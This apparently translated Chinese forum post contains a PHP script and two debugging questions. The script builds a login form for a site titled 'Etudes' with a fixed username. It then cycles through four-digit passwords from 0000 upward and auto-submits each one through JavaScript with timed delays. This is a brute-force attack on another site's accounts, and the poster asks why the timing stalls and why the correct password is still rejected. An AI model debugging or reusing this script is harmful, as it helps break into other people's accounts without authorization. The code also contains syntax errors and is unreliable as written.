我有2个问题。这是我的脚本......
<?php
echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">";
echo "<head>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />";
echo "<link href=\"/library/skin/tool_base.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<link href=\"/library/skin/default/tool.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />";
echo "<title>Etudes</title>";
echo "<script type=\"text/javascript\" language=\"JavaScript\" src=\"/library/js/headscripts.js\"></script>";
echo "</head>";
echo "<body>";
echo "<script type=\"text/javascript\" language=\"JavaScript\">";
echo "focus_path = [\"eid\"];";
echo "</script>";
echo "<form id=\"form\" method=\"post\" target='_blank' action=\"www.xxxxx.com" enctype=\"application/x-www-form-urlencoded\">";
echo "<table border=\"0\" class=\"loginform\" summary=\"layout\">";
echo "<label for=\"eid\">User id</label>";
echo "<input name=\"eid\" id=\"eid\" type=\"text\" value=\"USERNAME\"/>";
echo "<label for=\"pw\">Password</label>";
$pass1 = "0";
$pass2 = "0";
$pass3 = "0";
$pass4 = "0";
set_time_limit(0);
for($i = 0; $i < 2; $i++)
{
$pass = $pass1.$pass2.$pass3.$pass4;
echo "$pass";
echo "<input name=\"pw\" id=\"pw\" type=\"password\" value=\"$pass\"/>";
echo "<script language=\"Javascript\" type=\"text/javascript\">";
echo "document.forms[\"form\"].submit();";
echo "</script>";
$pass4 = $pass4 + 1;
if($pass4 == 10)
{
$pass3 = $pass3 + 1;
$pass4 = 0;
}
if($pass3 == 10)
{
$pass2 = $pass2 + 1;
$pass3 = 0;
}
if($pass2 == 10)
{
$pass1 = $pass1 + 1;
$pass2 = 0;
}
if($pass1 == 10)
{
echo "Fail";
break;
}
usleep(10000000);
flush();
ob_flush;
}
?>
</table>
</form>
</table>
</body>
</html>
///////////////////////////////////////// ///////////////
问题1)我试过usleep()和sleep(),一开始工作了几次,执行文件,然后延迟时间,然后执行,然后延迟,等等。但是在第三次之后它没有工作。
问题2)如果我在没有循环的情况下登录“www.xxx.com”,它工作得很好,但是当我把它放在一个循环中时,例如(假设密码是0002):登录:用户名密码:0000
登录无效!
登录:用户名密码:0001
登录无效!
登录:用户名密码:0002
登录无效!
..仍然给我一个无效的登录!任何帮助将不胜感激:) 谢谢。